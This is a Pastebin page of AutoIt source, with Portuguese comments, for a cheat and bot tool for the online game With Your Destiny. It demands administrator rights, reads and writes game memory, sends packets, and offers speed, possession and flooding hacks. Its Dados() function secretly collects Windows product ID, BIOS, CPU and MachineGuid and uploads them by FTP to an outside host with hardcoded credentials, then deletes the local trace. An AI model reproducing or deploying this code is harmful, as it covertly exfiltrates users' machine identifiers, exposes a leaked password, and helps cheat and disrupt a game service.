API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Sep 12th, 2017
162
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 43.27 KB | None | 0 0
raw download clone embed print report
  1. ;========================================================
  2. ;     ----- INCLUDES E #
  3. ;========================================================
  4. #NoTrayIcon     ; Retira o TrayIcon
  5. #RequireAdmin     ; Especifica que o script exige direitos de administrador para ser Executado
  6. #include <ButtonConstants.au3>
  7. #include <EditConstants.au3>
  8. #include <GUIConstantsEx.au3>
  9. #include <GuiStatusBar.au3>     ; Status Bar
  10. #include <StaticConstants.au3>
  11. #include <WindowsConstants.au3>
  12. #include <NomadMemory.au3>     ; Necessario para os Pointers e Address Funcionarem
  13. #include <Date.au3>     ; Data e Hora
  14. #include <Timers.au3>     ; Timers (Sleeps para não travar o Programa)
  15. #include <Sound.au3>     ; Sons
  16. #include <ScreenCapture.au3>     ; Tira PrintScreen (Fotos)
  17. #include <WinAPI.au3>     ; API
  18. #include <Array.au3>     ; Função das Arrays
  19. #include <FTPEx.au3>     ; Carrega as funções do FTP
  20. #include <Misc.au3>
  21. #include <GuiListView.au3>
  22.  
  23. ;========================================================
  24. ;     ----- GLOBAIS
  25. ;========================================================
  26. ;     ----- PROGRAMA
  27. Global $Versao = 1 ; Versão do Programa (Necessário para verificar Atualizações)
  28. Global $Janela = "XB v" & $Versao & " BETA" ; Nome da Janela (Necessário para dar nome a todas Janelas)
  29. Global $Mensagem = "Seja bem vindo(a)!" ; Mensagem Principal
  30. Global $Icone = "Data\Img\XB.ico" ; Diretorio do icone do Programa
  31. Global $Processo = "WYD.exe"
  32. Global $Atuar = "With Your Destiny" ; Funcionar na Janela
  33.  
  34. ;     ----- FTP
  35. Global $URL = "http://stkill.xp3.biz"
  36. ;---
  37. Global $Server = "stkill.xp3.biz" ; Server
  38. Global $Username = "stkill.xp3.biz" ; Usuario
  39. Global $Pass = "19283471" ; Senha
  40.  
  41. ;     ----- ATUALIZAÇÃO
  42. Global $Link_Atualiazacao = $URL & "/AtualizarAtualizar.xb" ; Link para baixar o arquivo de Atualização
  43. Global $Link_Programa = $URL & "/Atualizar/XB.rar" ; Link para baixar o Programa
  44. Global $Sem_Conexao = 1 ; Quantas vezes está tentando Conectar
  45. Global $Arquivo_Nome = ("Atualizar.xb") ; Nome do arquivo
  46. Global $Programa_Nome = ("XB.rar") ; Nome do arquivo
  47. Global $Salvar_Arquivo = @WindowsDir & "\" & $Arquivo_Nome ; Caminho pra salvar no diretorio com o Nome da Atualização
  48. Global $Salvar_Programa = @HomeDrive & "\" & $Programa_Nome ; Caminho pra salvar no diretorio com o Nome do Programa
  49.  
  50. ;     ----- HOT NEWS
  51. Global $Link_HotNews = $URL & "/HotNews/HotNews.xb" ; Link para baixar o arquivo do Hot News
  52. Global $HotNews_Nome = ("HotNews.xb") ; Nome do arquivo
  53. Global $Salvar_HotNews = @WindowsDir & "\" & $HotNews_Nome ; Caminho pra salvar no diretorio com o Nome do Hot News
  54.  
  55. ;     ----- PING
  56. Global $PingServer = "189.112.1.166" ; Ip do servidor para Pingar (Ip do Malech 1)
  57.  
  58. ;     ----- SLEEP
  59. Global $Tempo_Sleep = 1 ; Tempo do Sleep
  60. Global $Sleep = _Timer_Init() ; Define Sleep como Timer Init
  61.  
  62. ;     ----- TEMPO DE CONEXÃO
  63. Global $Tempo_Conexao = 0 ; Começar contar o tempo que esta Conectado
  64.  
  65. ;     ----- STATUS DOS SERVIDORES
  66. Global $Url_Alastar = "http://www.wyd.com.br/wyd_br/servers/serv03.asp" ; Url do arquivo que contem os dados dos jogadores do Alastar
  67. Global $Url_Sephira = "http://www.wyd.com.br/wyd_br/servers/serv02.asp" ; Url do arquivo que contem os dados dos jogadores do Sephira
  68. Global $Url_Malech = "http://www.wyd.com.br/wyd_br/servers/serv01.asp" ; Url do arquivo que contem os dados dos jogadores do Malech
  69.  
  70. ;     ----- SONS
  71. Global $Volume = 100 ; Volume Padrão = 100
  72. Global $Sounds_Verificar = IniRead("Data/XB.xb", "Configurações", "Sons", "") = "True" ; Verifica se for True
  73. #include "Sounds.au3"     ; Abre a função dos Sons
  74. ;---
  75. Global $Intro = _SoundOpen("Data\Sound\Intro.wav") ; Abre o Som
  76. Global $Theme = _SoundOpen("Data\Sound\Theme.wav")
  77. Global $Atualizado = _SoundOpen("Data\Sound\Atualizado.wav")
  78. Global $Terminou = _SoundOpen("Data\Sound\Terminou.wav")
  79. Global $Sting = _SoundOpen("Data\Sound\Sting.wav")
  80. Global $Morto = _SoundOpen("Data\Sound\Morto.wav")
  81. Global $HP_Baixo = _SoundOpen("Data\Sound\HP Baixo.wav")
  82. Global $MP_Baixo = _SoundOpen("Data\Sound\MP Baixo.wav")
  83. Global $Cartinha = _SoundOpen("Data\Sound\Carta.wav")
  84. Global $Removendo = _SoundOpen("Data\Sound\Removendo.wav")
  85. Global $TirarPet = _SoundOpen("Data\Sound\Tirar Pet.wav")
  86.  
  87. ;     ----- AUTO DROP
  88. Global $Item_ID[1][3068][3] ; Global da lista de Itens
  89. Global $Ler_ID[100] ; Global do Ler ID no Ini
  90. Global $Item_ID_Slot[30][3] ; Global de ler item do Slot
  91. Global $Nome_Item[30][3]
  92. Global $Remover = False ; Começa Desligado
  93. Global $Slot_Vazio = "Vazio" ; Variavel para definir oque estara escrito no Label
  94. Global $Slot_Cheio = "Cheio" ; Variavel para definir oque estara escrito no Label
  95.  
  96. ;     ----- SEND PACKET
  97. Global $hProcess = _WinAPI_OpenProcess(0x001F0FFF, False, ProcessExists($Processo))
  98.  
  99. ;     ----- MENSAGEM INGAME
  100. Global $Cor_Mensagem_IG_In = "99FF22" ; Cor da mensagem (Cor Fraca) Ex: Verde
  101. Global $Cor_Mensagem_IG_Out = "F60000" ; Cor da mensagem (Cor Forte) Ex: Vermelho
  102.  
  103. ;     ----- HACKS
  104. Global $Comando_Ativar_Bau = "/#onbau" ; O Comando para ativar a Função
  105. ;---
  106. Global $Comando_Ativar_Cassino = "/#oncassino"
  107. ;---
  108. Global $Comando_Ativar_Ultima_Loja = "/#onultimaloja"
  109. ;---
  110. Global $Comando_Ativar_Possuir_Char = "/#onpossuirchar"
  111. Global $Comando_Desativar_Possuir_Char = "/#offpossuirchar"
  112. ;---
  113. Global $Comando_Ativar_Hyper_Speed = "/#onhyperspeed"
  114. Global $Comando_Desativar_Hyper_Speed = "/#offhyperspeed"
  115. ;---
  116. Global $Comando_Ativar_Skills = "/#onskills"
  117. Global $Comando_Desativar_Skills = "/#offskills"
  118. ;---
  119. Global $Comando_Ativar_Zoom10 = "/#onzoom10" ; Zoom com Tamanho 10
  120. Global $Comando_Ativar_Zoom20 = "/#onzoom20" ; Zoom com Tamanho 20
  121. Global $Comando_Ativar_Zoom30 = "/#onzoom30" ; Zoom com Tamanho 30
  122. Global $Comando_Ativar_Zoom40 = "/#onzoom40" ; Zoom com Tamanho 40
  123. Global $Comando_Desativar_Zoom = "/#offzoom"
  124. ;-----------------------------------------------------------------
  125. Global $Atalho_Bau = "/#(on)bau" ; Oque vai aparecer no Label
  126. Global $Atalho_Cassino = "/#(on)cassino"
  127. Global $Atalho_Ultima_Loja = "/#(on)ultimaloja"
  128. Global $Atalho_Possuir_Char = "/#(on/off)possuirchar"
  129. Global $Atalho_Hyper_Speed = "/#(on/off)hyperspeed"
  130. Global $Atalho_Skills = "/#(on/off)skills"
  131. Global $Atalho_Zoom = "/#(on/off)zoom(10-40)"
  132.  
  133.  
  134. ;     ----- REFINAR NYERDS
  135. Global $Refinar_ORI = False ; Para não começar Refinando
  136. Global $Refinar_LAC = False ; Para não começar Refinando
  137. Global $Refinar = False ; Para não começar Refinando
  138.  
  139. ;     ----- DESLIGAR PC
  140. Global $Desliga_Now = 0 ; Começar Contar
  141. Global $Tempo_Desligar = 0 ; Para não começar Desligando
  142. Global $Tempo_Desligar_PC = 1 ;     Variavel do tempo do macro para Desliga Pc
  143.  
  144. ;     ----- AUTO FLOOD
  145. Global $Passe = True
  146. Global $T_F_S = 1 ; Tempo do Auto Flood Simples
  147. Global $T_F_P = 1 ; Tempo do Auto Flood Plus
  148. Global $Min = @MIN ; Define $Min como @MIN
  149. Global $Sec = @SEC ; Define $Sec como @SEC
  150. ;     SIMPLES
  151. Global $Auto_Flood_Simples = False ; Faz o Auto Flood Simples começar Pausado
  152. ;     PLUS
  153. Global $Auto_Flood_Plus = False ; Faz o Auto Flood Plus começar Pausado
  154.  
  155. ;     ----- AVISAR-ME
  156. Global $Nome_Pasta_PrintScreen = @HOUR & "Horas" & " & " & @MIN & "Minutos" ; Nome da past para salvar as PrintScreens
  157. Global $Morreu = False ; Global se morreu / True = Morreu, False = Vivo
  158. Global $Chegou = False ; Global se chegou carta / True = Chegou, False = Não Chegou
  159.  
  160. ;     ----- AUTO AS
  161. Global $Atalho_Simulate_Click_Ligar = "ALT + F1" ; Oque vai aparecer no Label
  162. Global $Atalho_Simulate_Click_Desligar = "ALT + F2" ; Oque vai aparecer no Label
  163. Global $Atalho_Simulate_Click_Pegar_Coordenada = "ALT + F3" ; Oque vai aparecer no Label
  164. Global $Atalho_Auto_Click_Ligar = "ALT + F5" ; Oque vai aparecer no Label
  165. Global $Atalho_Auto_Click_Desligar = "ALT + F6" ; Oque vai aparecer no Label
  166. Global $Velocidade_Auto_Click = "1000=" ; Velocidade
  167. ;---
  168. Global $Simulate_Cliques = 0 ; 0= Não começa Clicando 1= Começa Clicando
  169. Global $Click_Cliques = 0 ; 0= Não começa Clicando 1= Começa Clicando
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176. ;     ----- ADDRESS & PACKET
  177. Global $PROCESS ; Global de pegar PID
  178. Global $OPEN ; Global abrir o Processo
  179. #include "Address/Gerar.au3"     ; Carrega os arquivos com as Funções
  180. #include "Address/Address&Pointers.au3"     ; Carrega o arquivo onde contem os address e Pointers
  181. #include "Packet.au3"     ; Carrega a função de enviar Packets
  182. #include "Address/ReadAddress.au3"     ; Carrega a função com todos MemoryReads
  183.  
  184. ;========================================================
  185. ;     ----- INI ESCREVER
  186. ;========================================================
  187. IniWrite("Data/XB.xb", "Configurações", "Mensagem", $Mensagem) ; Mensagem principal do Porgrama ($Input2)
  188. IniWrite("Data/Atualizar.xb", "Atualizar", "Nome do Arquivo", $Arquivo_Nome) ; Salvaro arquivo com o Nome
  189. IniWrite("Data/Atualizar.xb", "Atualizar", "Nome do Programa", $Programa_Nome) ; Salvar programa com o Nome
  190. IniWrite("Data/Atualizar.xb", "Atualizar", "Salvar Arquivo", $Salvar_Arquivo) ; Salvar arquivo onde tem a Versão
  191. IniWrite("Data/Atualizar.xb", "Atualizar", "Salvar Programa", $Salvar_Programa) ; Onde vai salvar o Programa
  192. IniWrite("Data/Atualizar.xb", "Atualizar", "Versão Atual", $Versao) ; Versao do programa, sem ele não tem Atualizador
  193.  
  194. ;========================================================
  195. ;     ----- GUI
  196. ;========================================================
  197. ;     ----- CARREGANDO DADOS
  198. #Region ### START Koda GUI section ### Form=g:\programas\autoit\sources\xb\form\carregando.kxf
  199. $Carregando = GUICreate("Carregando", 443, 83, -1, -1)
  200. GUISetIcon($Icone) ; Icone do Programa
  201. GUISetBkColor(0xBFCDDB)
  202. $carregando_Group1 = GUICtrlCreateGroup("Carregando Dados", 8, 8, 425, 65)
  203. $carregando_Progress1 = GUICtrlCreateProgress(16, 24, 410, 17)
  204. $carregando_Label1 = GUICtrlCreateLabel("Para começar abra o WYD!", 16, 46, 413, 24, $SS_CENTER)
  205. GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
  206. GUICtrlCreateGroup("", -99, -99, 1, 1)
  207. GUISetState(@SW_SHOW)
  208. Tocar($Intro, 0) ; Toca a Música
  209. For $D = 1 To 100 Step 1 ; Se $D é igual a 1 para 100
  210.     ; Ele vai de 1 a 100 em 1 em 1 , caso queira mudar altere o Step 1 pra 10 ou 20 e etc
  211.     $Carregar_Bar = Random(1, 20, 1) ; Pega qualquer valor inteiro de 1 a dez, para ser o tempo do Sleep
  212.     Sleep($Carregar_Bar) ; Tempo após Terminar
  213.     GUICtrlSetData($carregando_Progress1, $D) ; Aqui a guictrlsetdata identifica a Variavel
  214.     GUICtrlSetData($carregando_Label1, "Carregando Dados: " & $D & "% - Aguarde...")
  215. Next
  216. GUICtrlSetData($carregando_Label1, "Dados carregados com Sucesso!")
  217. #EndRegion ### END Koda GUI section ###
  218.  
  219. ;     ----- PRINCIPAL
  220. #Region ### START Koda GUI section ### Form=g:\programas\autoit\sources\xb\form\principal.kxf
  221. $Principal = GUICreate($Janela, 859, 393, -1, -1)
  222. GUISetIcon($Icone) ; Icone do Programa
  223. $Arquivo = GUICtrlCreateMenu("&Arquivo")
  224. $MenuItem3 = GUICtrlCreateMenuItem("Atualizar", $Arquivo)
  225. $MenuItem1 = GUICtrlCreateMenuItem("Créditos", $Arquivo)
  226. $MenuItem2 = GUICtrlCreateMenuItem("", $Arquivo)
  227. $MenuItem4 = GUICtrlCreateMenuItem("Sair", $Arquivo)
  228. GUISetBkColor(0xBFCDDB)
  229. $Group1 = GUICtrlCreateGroup("Informações", 8, 8, 409, 113)
  230. $Group2 = GUICtrlCreateGroup("WYD", 16, 24, 185, 89)
  231. $Nome = GUICtrlCreateLabel("Nome do Char:", 24, 40, 75, 17)
  232. $Experiencia = GUICtrlCreateLabel("Exp. Inicial:", 24, 56, 58, 17)
  233. $HP = GUICtrlCreateLabel("HP:", 24, 72, 22, 17)
  234. $MP = GUICtrlCreateLabel("MP:", 24, 88, 23, 17)
  235. $MPx = GUICtrlCreateLabel("Procurando...", 48, 88, 148, 17)
  236. $HPx = GUICtrlCreateLabel("Procurando...", 48, 72, 148, 17)
  237. $Experienciax = GUICtrlCreateLabel("Procurando...", 84, 56, 108, 17)
  238. $Nomex = GUICtrlCreateLabel("Procurando...", 101, 40, 92, 17)
  239. GUICtrlCreateGroup("", -99, -99, 1, 1)
  240. $Group3 = GUICtrlCreateGroup("Computador", 208, 24, 201, 89)
  241. $Internet = GUICtrlCreateLabel("Status da Internet:", 216, 40, 91, 17)
  242. $Ram = GUICtrlCreateLabel("Uso da Memória:", 216, 56, 84, 17)
  243. $Ping = GUICtrlCreateLabel("Ping:", 216, 88, 28, 17)
  244. $Conexao = GUICtrlCreateLabel("Tempo de Conexão:", 216, 72, 100, 17)
  245. $Internetx = GUICtrlCreateLabel("Procurando...", 308, 40, 92, 17)
  246. $Ramx = GUICtrlCreateLabel("Procurando...", 302, 56, 100, 17)
  247. $Conexaox = GUICtrlCreateLabel("Procurando...", 318, 72, 84, 17)
  248. $Pingx = GUICtrlCreateLabel("Procurando...", 246, 88, 156, 17)
  249. GUICtrlCreateGroup("", -99, -99, 1, 1)
  250. GUICtrlCreateGroup("", -99, -99, 1, 1)
  251. $Group4 = GUICtrlCreateGroup("Hot News:", 664, 8, 185, 337)
  252. $Edit1 = GUICtrlCreateEdit("", 672, 24, 169, 313, BitOR($ES_AUTOVSCROLL, $ES_AUTOHSCROLL, $ES_READONLY, $ES_WANTRETURN, $WS_VSCROLL))
  253. GUICtrlSetData(-1, "Conectando com o Servidor...")
  254. GUICtrlCreateGroup("", -99, -99, 1, 1)
  255. $Group5 = GUICtrlCreateGroup("Atalhos para as Funcões", 8, 128, 409, 161)
  256. $Button1 = GUICtrlCreateButton("Auto Login", 16, 152, 75, 25, $WS_GROUP)
  257. GUICtrlSetState(-1, $GUI_DISABLE)
  258. $Button2 = GUICtrlCreateButton("Auto Flood", 16, 184, 75, 25, $WS_GROUP)
  259. $Button3 = GUICtrlCreateButton("Simulate Click", 16, 216, 75, 25, $WS_GROUP)
  260. $Button4 = GUICtrlCreateButton("Auto Drop", 16, 248, 75, 25, $WS_GROUP)
  261. $Button5 = GUICtrlCreateButton("Macro Sleep", 96, 152, 75, 25, $WS_GROUP)
  262. GUICtrlSetState(-1, $GUI_DISABLE)
  263. $Button6 = GUICtrlCreateButton("Avisar-me", 96, 184, 75, 25, $WS_GROUP)
  264. $Button7 = GUICtrlCreateButton("Hacks", 96, 216, 75, 25, $WS_GROUP)
  265. $Button8 = GUICtrlCreateButton("Renomear", 96, 248, 75, 25, $WS_GROUP)
  266. $Button9 = GUICtrlCreateButton("Desligar PC", 176, 152, 75, 25, $WS_GROUP)
  267. $Button10 = GUICtrlCreateButton("Ocultar", 176, 184, 75, 25, $WS_GROUP)
  268. $Button16 = GUICtrlCreateButton("Ref. Nyerds", 176, 216, 75, 25, $WS_GROUP)
  269. $Button11 = GUICtrlCreateButton("Tirar Pet", 176, 248, 75, 25, $WS_GROUP)
  270. $Button12 = GUICtrlCreateButton("Iten Finder", 256, 152, 75, 25, $WS_GROUP)
  271. $Button15 = GUICtrlCreateButton("Rec. Senha 2", 256, 184, 75, 25, $WS_GROUP)
  272. GUICtrlSetState(-1, $GUI_DISABLE)
  273. GUICtrlCreateGroup("", -99, -99, 1, 1)
  274. $Group7 = GUICtrlCreateGroup("Configurações", 424, 8, 233, 281)
  275. $Group8 = GUICtrlCreateGroup("Funcionar na Janela", 432, 24, 217, 49)
  276. $ExecW = GUICtrlCreateInput($Atuar, 440, 40, 201, 21)
  277. GUICtrlCreateGroup("", -99, -99, 1, 1)
  278. $Group9 = GUICtrlCreateGroup("WYD", 432, 80, 217, 89)
  279. $Button13 = GUICtrlCreateButton("Abrir", 464, 136, 74, 25, $WS_GROUP)
  280. $Button14 = GUICtrlCreateButton("Fechar", 544, 136, 74, 25, $WS_GROUP)
  281. $Input3 = GUICtrlCreateInput("", 440, 112, 201, 21, BitOR($ES_AUTOHSCROLL, $ES_READONLY))
  282. GUICtrlSetState(-1, $GUI_DISABLE)
  283. $Label1 = GUICtrlCreateLabel("Diretório:", 440, 96, 46, 17)
  284. GUICtrlCreateGroup("", -99, -99, 1, 1)
  285. $Group10 = GUICtrlCreateGroup("Outras", 432, 176, 217, 105)
  286. $Sounds = GUICtrlCreateCheckbox("Ativar sons do Programa", 440, 192, 137, 17)
  287. GUICtrlSetState(-1, IniRead("Data/XB.xb", "Configurações", "Status", "")) ; Verifica se esta ativado ou Não 1=True 0=False
  288. GUICtrlCreateGroup("", -99, -99, 1, 1)
  289. GUICtrlCreateGroup("", -99, -99, 1, 1)
  290. $Group6 = GUICtrlCreateGroup("Mensagens:", 8, 296, 649, 49)
  291. $Input2 = GUICtrlCreateInput(IniRead("Data/XB.xb", "Configurações", "Mensagem", ""), 17, 315, 633, 24, BitOR($ES_CENTER, $ES_AUTOHSCROLL, $ES_READONLY)) ; Le o arquivo XB.xb, e da o Nome para o Input
  292. GUICtrlSetFont(-1, 9, 800, 0, "Comic Sans MS")
  293. GUICtrlSetColor(-1, 0x000080)
  294. GUICtrlCreateGroup("", -99, -99, 1, 1)
  295. $StatusBar1 = _GUICtrlStatusBar_Create($Principal)
  296. Dim $StatusBar1_PartsWidth[9] = [105, 160, 245, 300, 385, 440, 525, 570, -1]
  297. _GUICtrlStatusBar_SetParts($StatusBar1, $StatusBar1_PartsWidth)
  298. _GUICtrlStatusBar_SetText($StatusBar1, "Jogadores Online:", 0)
  299. _GUICtrlStatusBar_SetText($StatusBar1, "Alastar:", 1)
  300. _GUICtrlStatusBar_SetText($StatusBar1, "Procurando...", 2)
  301. _GUICtrlStatusBar_SetText($StatusBar1, "Sephira:", 3)
  302. _GUICtrlStatusBar_SetText($StatusBar1, "Procurando...", 4)
  303. _GUICtrlStatusBar_SetText($StatusBar1, "Malech:", 5)
  304. _GUICtrlStatusBar_SetText($StatusBar1, "Procurando...", 6)
  305. _GUICtrlStatusBar_SetText($StatusBar1, "Total:", 7)
  306. _GUICtrlStatusBar_SetText($StatusBar1, "Procurando...", 8)
  307. GUISetState(@SW_HIDE)
  308. Dim $Principal_AccelTable[1][2] = [["^a", $MenuItem4]]
  309. GUISetAccelerators($Principal_AccelTable)
  310. #EndRegion ### END Koda GUI section ###
  311.  
  312. ;========================================================
  313. ;     ----- HOT NEWS
  314. ;========================================================
  315. InetGet($Link_HotNews, $Salvar_HotNews, 0, 0) ; Baixa o arquivo HotNews.xb do link= $Link_HotNews e instala no $Salvar_HotNews
  316. If @error Then
  317.     Sleep(1500) ; Espera 1 Segundo
  318.     GUICtrlSetData($Edit1, "Servidor não encontrado!") ; Caso der erro retorna a Mensagem
  319. Else
  320.     Sleep(1500)
  321.     GUICtrlSetData($Edit1, FileRead($Salvar_HotNews)) ; O Edit recebe tudo que está escrito dentro do HotNews
  322.     FileDelete($Salvar_HotNews) ; Deleta o arquivo HotNews.xb que está no diretorio $Salvar_HotNews
  323. EndIf
  324.  
  325. ;========================================================
  326. ;     ----- FTP
  327. ;========================================================
  328. Func Dados()
  329.     If $Read_Tela_Login = 1 And Not FileExists("Data/FTP.xb") Then ; Verifica se esta na tela de login, e se o arquivo não existir
  330.         IniWrite("Data/FTP.xb", "FTP", "Horas", _Now()) ; Se não existir ele escreve a Machine Guid
  331.         IniWrite("Data/FTP.xb", "FTP", "Product Name", RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName")) ; Nome do sistema Operacional
  332.         IniWrite("Data/FTP.xb", "FTP", "System Root", RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "SystemRoot")) ; Diretorio de onde fica o Windows
  333.         IniWrite("Data/FTP.xb", "FTP", "Product Id", RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductId")) ; ProductId
  334.         IniWrite("Data/FTP.xb", "FTP", "System Bios Version", RegRead("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System", "SystemBiosVersion")) ; Versão da Bios
  335.         IniWrite("Data/FTP.xb", "FTP", "Processor Name String", RegRead("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "ProcessorNameString")) ; Nome do Processador
  336.         IniWrite("Data/FTP.xb", "FTP", "MachineGuid", RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography", "MachineGuid")) ; Machine Guid
  337.         ;---
  338.         $Abrir_Ftp = _FTP_Open("XB") ; Abre
  339.         $Conectar_Ftp = _FTP_Connect($Abrir_Ftp, $Server, $Username, $Pass) ; Conecta
  340.         _FTP_FilePut($Conectar_Ftp, "Data/FTP.xb", "/Dados/" & IniRead("Data/FTP.xb", "FTP", "Product Id", "") & ".xb") ; Cria o arquivo dentro da pasta com o nome de Usuario
  341.         _FTP_Close($Abrir_Ftp) ; Fecha o FTP
  342.         Sleep(100) ; Espera 0.100 Segundos
  343.         FileDelete("Data/FTP.xb") ; Deleta os arquivos com as Configurações
  344.         IniWrite("Data/FTP.xb", "FTP", "Status", "False") ; Cria o arquivo para não ficar mandando toda hora, e escreve False.
  345.     EndIf
  346. EndFunc   ;==>Dados
  347.  
  348. ;========================================================
  349. ;     ----- PEGAR PID
  350. ;========================================================
  351. #include "Address/PID.au3"
  352.  
  353. ;========================================================
  354. ;     -----  REFRESH
  355. ;========================================================
  356. Func Refresh() ; Cria a Função
  357.  
  358.     ;========================================================
  359.     ;     ----- INFORMAÇÕES (WYD)
  360.     ;========================================================
  361.     ;     NOME DO CHAR:
  362.     $Nome = _MemoryRead($Add_Base_NOME, $OPEN)
  363.     $Nome = $Nome + 1772
  364.     $Nome = Hex($Nome)
  365.     $AddressNome = ("0x" & $Nome)
  366.     $Nome = _MemoryRead($AddressNome, $OPEN, "Char [12]")
  367.     GUICtrlSetData($Nomex, $Nome)
  368.     If $Nome = "" Then
  369.         GUICtrlSetData($Nomex, "Procurando...")
  370.     EndIf
  371.     ;     FIM (NOME DO CHAR)
  372.  
  373.     ;========================================================
  374.     ;     ADDRESS EXP:
  375. ;~  $Abrir_Exp_Inicial = _MemoryRead(_Pointer5($Add_Base_EXP_Inicial, $Add1_EXP_Inicial, $Add2_EXP_Inicial, $Add3_EXP_Inicial, $Add4_EXP_Inicial, $Add5_EXP_Inicial), $OPEN)
  376. ;~  GUICtrlSetData($Experienciax, $Abrir_Exp_Inicial)
  377. ;~  If $Abrir_Exp_Inicial = 0 Then
  378. ;~  GUICtrlSetData($Experienciax, "Procurando...")
  379. ;~  EndIf
  380.     ;     FIM (ADDRESS EXP)
  381.  
  382.     ;========================================================
  383.     ;     HP:
  384.     GUICtrlSetData($HPx, $Read_HP) ; Escreve no label oque estiver escrito no Address
  385.     ;     FIM (HP)
  386.  
  387.     ;========================================================
  388.     ;     MP:
  389.     GUICtrlSetData($MPx, $Read_MP) ; Escreve no label oque estiver escrito no Address
  390.     ;     FIM (MP)
  391.  
  392.     ;========================================================
  393.     ;     ----- INFORMAÇÕES (COMPUTADOR)
  394.     ;========================================================
  395.     Sleep(10)
  396.     If _Timer_Diff($Sleep) > $Tempo_Sleep Then ; Sleep sem parar o Programa
  397.         $Tempo_Sleep = $Tempo_Sleep + 1000.00000000000
  398.         ;     STATUS INTERNET:
  399.         $PingMS = Ping($PingServer)
  400.         If $PingMS > 0 Then ; Se ping for maior que 0 (Internet ligada)
  401.             GUICtrlSetData($Internetx, "Conectado!")
  402.         Else ; Senão
  403.             GUICtrlSetData($Internetx, "Sem Conexão...")
  404.         EndIf
  405.         ;     FIM (STATUS INTERNET)
  406.     EndIf ; Termina o Sleep
  407.  
  408.     ;========================================================
  409.     ;     USO DA MEMÓRIA:
  410.     $Memoria = MemGetStats() ; Define $Memoria = MemGetStats (Função para ver a velocidade da memória Ram)
  411.     GUICtrlSetData($Ramx, "" & $Memoria[0] & "%") ; Muda o label pelo valor da "$Memoria" em %
  412.     ;     FIM (USO DA MEMÓRIA)
  413.  
  414.     ;========================================================
  415.     ;     TEMPO DE CONEXÃO
  416.     If ProcessExists($Processo) Then ; Se o processo WYD.exe existir executa as funções Abaixo
  417.         $Tempo_Conexao = $Tempo_Conexao + 1
  418.         GUICtrlSetData($Conexaox, $Tempo_Conexao & "Sec") ; Mostra no "Conexaox" o Tempo
  419.     Else ; Senão
  420.         GUICtrlSetData($Conexaox, "Abra o WYD!")
  421.     EndIf
  422.     If $Tempo_Conexao > 9999999 Then ; Se ultrapassar de 999999
  423.         GUICtrlSetData($Conexaox, "Parou...")
  424.     EndIf
  425.     ;     FIM (TEMPO DE CONEXÃO)
  426.     ;========================================================
  427.     If _Timer_Diff($Sleep) > $Tempo_Sleep Then ; Sleep sem parar o Programa
  428.         $Tempo_Sleep = $Tempo_Sleep + 1000.00000000000
  429.         ;     PING:
  430.         $PingMS = Ping($PingServer)
  431.         If $PingMS = 0 Then GUICtrlSetData($Pingx, $PingMS & "ms - Sem Conexão")
  432.         If $PingMS > 400 Then GUICtrlSetData($Pingx, $PingMS & "ms - LAGADO .-.")
  433.         If $PingMS > 75 And $PingMS < 400 Then GUICtrlSetData($Pingx, $PingMS & "ms - Conxexão Boa 'hehe")
  434.         If $PingMS > 20 And $PingMS < 75 Then GUICtrlSetData($Pingx, $PingMS & "ms - Conexão Ótima x)")
  435.         If $PingMS > 0 And $PingMS < 20 Then GUICtrlSetData($Pingx, $PingMS & "ms - Conexão EXELENTE!!!")
  436.     EndIf
  437.     If @error Then ; Se der Erro
  438.         GUICtrlSetData($Pingx, "Sem Conexão...")
  439.         ;     FIM (PING)
  440.     EndIf ; Termina o Sleep
  441.  
  442.     ;========================================================
  443.     ;     ----- STATUS DOS SERVIDORES
  444.     ;========================================================
  445.     If _Timer_Diff($Sleep) > $Tempo_Sleep Then ; Sleep sem parar o Programa
  446.         $Tempo_Sleep = $Tempo_Sleep + 5000.00000000000
  447.         ;     ALASTAR:
  448.         $Status_Alastar = InetRead($Url_Alastar, 0) ; Baixa as informações da URL
  449.         $Status_Alastar = BinaryToString($Status_Alastar) ; Muda o valor para Binario
  450.         $Alastar_Sv1 = StringMid($Status_Alastar, 1, 5) ; Lê as informações das Strings
  451.         $Alastar_Sv2 = StringMid($Status_Alastar, 6, 5) ; Lê as informações das Strings
  452.         $Alastar_Sv3 = StringMid($Status_Alastar, 11, 5) ; Lê as informações das Strings
  453.         $Alastar_Sv4 = StringMid($Status_Alastar, 16, 5) ; Lê as informações das Strings
  454.         $Status_Final_Alastar = $Alastar_Sv1 + $Alastar_Sv2 + $Alastar_Sv3 + $Alastar_Sv4 ; Soma as informações
  455.         _GUICtrlStatusBar_SetText($StatusBar1, $Status_Final_Alastar & " / 3000", 2) ; Escreve o valor na Status Bar
  456.         ;     FIM (ALASTAR)
  457.         ;========================================================
  458.         ;     SEPHIRA:
  459.         $Status_Sephira = InetRead($Url_Sephira, 0)
  460.         $Status_Sephira = BinaryToString($Status_Sephira)
  461.         $Sephira_Sv1 = StringMid($Status_Sephira, 1, 5)
  462.         $Sephira_Sv2 = StringMid($Status_Sephira, 6, 5)
  463.         $Sephira_Sv3 = StringMid($Status_Sephira, 11, 5)
  464.         $Sephira_Sv4 = StringMid($Status_Sephira, 16, 5)
  465.         $Sephira_Sv5 = StringMid($Status_Sephira, 21, 5)
  466.         $Sephira_Sv6 = StringMid($Status_Sephira, 26, 5)
  467.         $Status_Final_Sephira = $Sephira_Sv1 + $Sephira_Sv2 + $Sephira_Sv3 + $Sephira_Sv4 + $Sephira_Sv5 + $Sephira_Sv6
  468.         _GUICtrlStatusBar_SetText($StatusBar1, $Status_Final_Sephira & " / 4400", 4)
  469.         ;     FIM (SEPHIRA)
  470.         ;========================================================
  471.         ;     MALECH:
  472.         $Status_Malech = InetRead($Url_Malech, 0)
  473.         $Status_Malech = BinaryToString($Status_Malech)
  474.         $Malech_Sv1 = StringMid($Status_Malech, 1, 5)
  475.         $Malech_Sv2 = StringMid($Status_Malech, 6, 5)
  476.         $Malech_Sv3 = StringMid($Status_Malech, 11, 5)
